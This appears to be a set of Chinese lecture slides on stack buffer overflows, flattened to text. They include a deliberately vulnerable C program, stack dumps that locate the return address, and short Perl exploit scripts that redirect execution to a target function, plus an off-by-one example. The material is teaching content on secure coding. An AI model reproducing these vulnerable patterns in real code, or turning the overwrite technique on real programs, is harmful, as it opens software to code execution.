第二章缓冲区溢出•出现缓冲区溢出的主要原因是不良的编程习惯。其他原因包括C语言和C++语言为程序设计人员提供了许多不安全的编程方法,缺乏安全可靠、简便易行的字符串处理函数,对错误的实际后果的忽略。一.堆栈溢出(也称静态缓冲区溢出)(*)如果向一个在栈的缓冲区复制数据,但是复制的数据量又比缓冲区大的时候,就会发生静态缓冲区溢出。在栈上声明的各种变量的位置就紧靠着函数调用程序的返回地址。通常出现的错误是用户输入的数据未经验证,就传递给strcpy这样的函数,产生的后果就是调用函数的返回地址将被攻击者选择的某个地址覆盖。在一个常规的攻击下,攻击者可以通过一个缓冲区溢出的应用程序来执行对他们有用的操作,比如在他们选择的端口上绑定一个命令解释程序。第二章缓冲区溢出一.堆栈溢出IA32架构的堆栈。栈中除其他内容外,还存储了参数、缓冲区和函数的返回地址。在IA32的系统中,栈是向下增长的,变量按LIFO的方式压入栈里,最后压入站的数据最先弹出。FramePointer(EBP)InstructionPointer(EIP)本地变量、缓冲区、其他寄存器等第二章缓冲区溢出一.堆栈溢出下图显示的是压入两个缓冲区后的栈。首先,缓冲区buf1进栈,然后,缓冲区buf2进栈。在向buf2缓冲区中写入的数据量超过了程序预期的大小,buf1会被buf2的数据覆盖。甚至栈的其他部分,包括指令指针(EIP)的值也会被覆盖。EIP寄存器保存了函数的返回地址。所以恶意的用户可以通过调用这个函数选择任意一个想要的返回地址。Buf2[512]Buf1[512]FramePointer(EBP)InstructionPointer(EIP)本地变量、缓冲区、其他寄存器等第二章缓冲区溢出一.堆栈溢出代码1/*StackOverrun.cThisprogramshowsanexampleofhowastack-basedbufferoverruncanbeusedtoexecuteanarbitrarycode.Itsobjectiveistofindaninputstringthatexecutesthefunctionbar.*/#includestdio.h#includestring.hvoidfoo(constchar*input){charbuf[10];printf(“Mystacklookslike:\n%p\n%p\n%p\n%p\n%p\n%p\n\n”);strcpy(buf,input);printf(“%s\n”,buf);printf(“Nowthestacklookslike:\n%p\n%p\n%p\n%p\n%p\n%p\n\n”);}第二章缓冲区溢出一.堆栈溢出代码1(续)voidbar(void){printf(“Augh!I’vebeenhacked!\n”);}intmain(intargc,char*argv[]){printf(“Addressoffoo=%p\n”,foo);printf(“Addressofbar=%p\n”,bar);if(argc!=2){printf(“Pleasesupplyastringasanargument!\n”);return-1;}foo(argv[1]);return0;}第二章缓冲区溢出一.堆栈溢出运行C:\Secureco2\Chapter03Stackoverrun.exeHelloAddressoffoo=00401000Addressofbar=00401045Mystacklookslike:00000000000000007FFDF0000012FF800040108AWewanttooverwritethereturnaddressforfoo.00410EDEHelloNowthestacklookslike:6C6C6568Youcanseewhere“Hello”wascopiedin.0000006F7FFDF0000012FF800040108A00410EDE第二章缓冲区溢出一.堆栈溢出运行前后堆栈变化情况00000000000000007FFDF0000012FF800040108A00410EDE……foo的bufEBP,main的栈底指针EIP,foo的返回地址0012FF80,main的栈底6C6C65680000006F7FFDF0000012FF800040108A00410EDE……无缓冲区溢出第二章缓冲区溢出一.堆栈溢出运行C:\Secureco2\Chapter03Stackoverrun.exeAAAAAAAAAAAAAAAAAAAAAAAAAddressoffoo=00401000Addressofbar=00401045Mystacklookslike:00000000000000007FFDF0000012FF800040108A00410ECEAAAAAAAAAAAAAAAAAAAAAAAANowthestacklookslike:414141414141414141414141414141414141414141414141运行得到应用程序的错误信息,表明了地址位于0x41414141的指令试图访问位于0x41414141的内存。第二章缓冲区溢出一.堆栈溢出运行前后堆栈变化情况00000000000000007FFDF0000012FF800040108A00410EDE……foo的bufEBP,main的栈底指针EIP,foo的返回地址0012FF80,main的栈底414141414141414141414141414141414141414141414141……缓冲区溢出,运行得到应用程序的错误信息,表明了试图访问地址位于0x41414141的指令第二章缓冲区溢出一.堆栈溢出运行C:\Secureco2\Chapter03Stackoverrun.exeABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890Addressoffoo=00401000Addressofbar=00401045Mystacklookslike:00000000000000007FFDF0000012FF800040108A00410EBEABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890Nowthestacklookslike:44434241484746454C4B4A49504F4E4D5453525158575655应用程序的出错信息显示出我们试图在0x54535251处运行计算机指令。查看ASCII字符表,0x54是字符T的编码,那就是需要我们修改的地方。第二章缓冲区溢出一.堆栈溢出运行前后堆栈变化情况00000000000000007FFDF0000012FF800040108A00410EDE……foo的bufEBP,main的栈底指针EIP,foo的返回地址0012FF80,main的栈底44434241484746454C4B4A49504F4E4D5453525158575655……缓冲区溢出,运行得到应用程序的错误信息,表明了试图访问地址位于0x54535251的指令,如此,可得到foo的返回地址的存放位置。第二章缓冲区溢出一.堆栈溢出运行C:\Secureco2\Chapter03Stackoverrun.exeABCDEFGHIJKLMNOPQRSAddressoffoo=00401000Addressofbar=00401045Mystacklookslike:00000000000000007FFDF0000012FF800040108A00410ECEABCDEFGHIJKLMNOPQRSNowthestacklookslike:44434241484746454C4B4A49504F4E4D0053525100410ECE通过改变用户的输入内容,我们可以控制在哪个地址运行下一条指令。下面我们用用户的输入来控制程序的流程!如果能够做到不输入QRS,取而代之输入0x45、0x10、0x40,那么也就可以让bar函数运行。第二章缓冲区溢出一.堆栈溢出编写如下名叫HackOverrun.pl的perl脚本$arg=“ABCDEFGHIJKLMNOP”.”\x45\x10\x40\x00”;$cmd=“StackOverrun“.$arg;system($cmd);运行上述脚本C:\Secureco2\Chapter03perlHackOverrun.plAddressoffoo=00401000Addressofbar=00401045Mystacklookslike:77FB80DB77F94E687FFDF0000012FF800040108A00410ECAABCDEFGHIJKLMNOPE?@Nowthestacklookslike:44434241484746454C4B4A49504F4E4D0040104500410ECAAugh!I’vebeenhacked!第二章缓冲区溢出一.堆栈溢出运行前后堆栈变化情况00000000000000007FFDF0000012FF800040108A00410EDE……foo的bufEBP,main的栈底指针EIP,foo的返回地址0012FF80,main的栈底44434241484746454C4B4A49504F4E4D0040104500410EDE……缓冲区溢出,将foo的返回地址改为00401045。第二章缓冲区溢出一.堆栈溢出Off_by_One溢出代码2/*OffByOne*/#includestdio.h#includestring.hVoidfoo(constchar*in){charbuf[32];strncpy(buf,in,sizeof(buf));buf[sizeof(buf)]=‘\0’;printf(“%s\n”,buf);}Voidbar(constchar*in){printf(“Augh!I’vebeenhacked!\n”);}intmain(intargc,char*argv[]){if(argc!=2){printf(“Usageis%s[string]\n”,argv[0]);return-1;}printf(“Addressoffoois%p,addressofbaris%p\n”,foo,bar);foo(argv[1]);return0;}第二章缓冲区溢出一.堆栈溢出编写如下名叫HackOverrun.pl的perl脚本$arg=“AAAAAAAAAAAAAAAAAAAAAAAAAAAA”.”\x40\x10\x40\x00”;$cmd=“OffByOne“.$arg;system($cmd);运行上述脚本C:\Secureco2\Chapter03perlOffByOne.plAddressoffoo=00401000,addressofbar=00401040AAAAAAAAAAAAAAAAAAAAAAAAAAAA@?@Augh!I’vebeenhacked!修改了调用函数的栈结构。利用Off_by_One溢出需要满足两个条件:首先,缓冲区的字节数要能被4整除。其次,需要对EBP现在指向的区域有所控制。第二章缓冲区溢出一.堆栈溢出运行前后堆栈变化情况00000000……000000000012FF800040108A00410EDE……foo的bufEBP,main的栈底指针EIP,foo的返回地址0012FF80,main的栈底41414141……004010400012FF000040104500410EDE……缓冲区溢出,将main的栈底指针改为0012FF00,main返回后执行00401040处指令。0012FF00第二章缓冲区溢出二.堆溢出堆是由程序使用且在运行时动态分配的内存区域。在堆内存空间上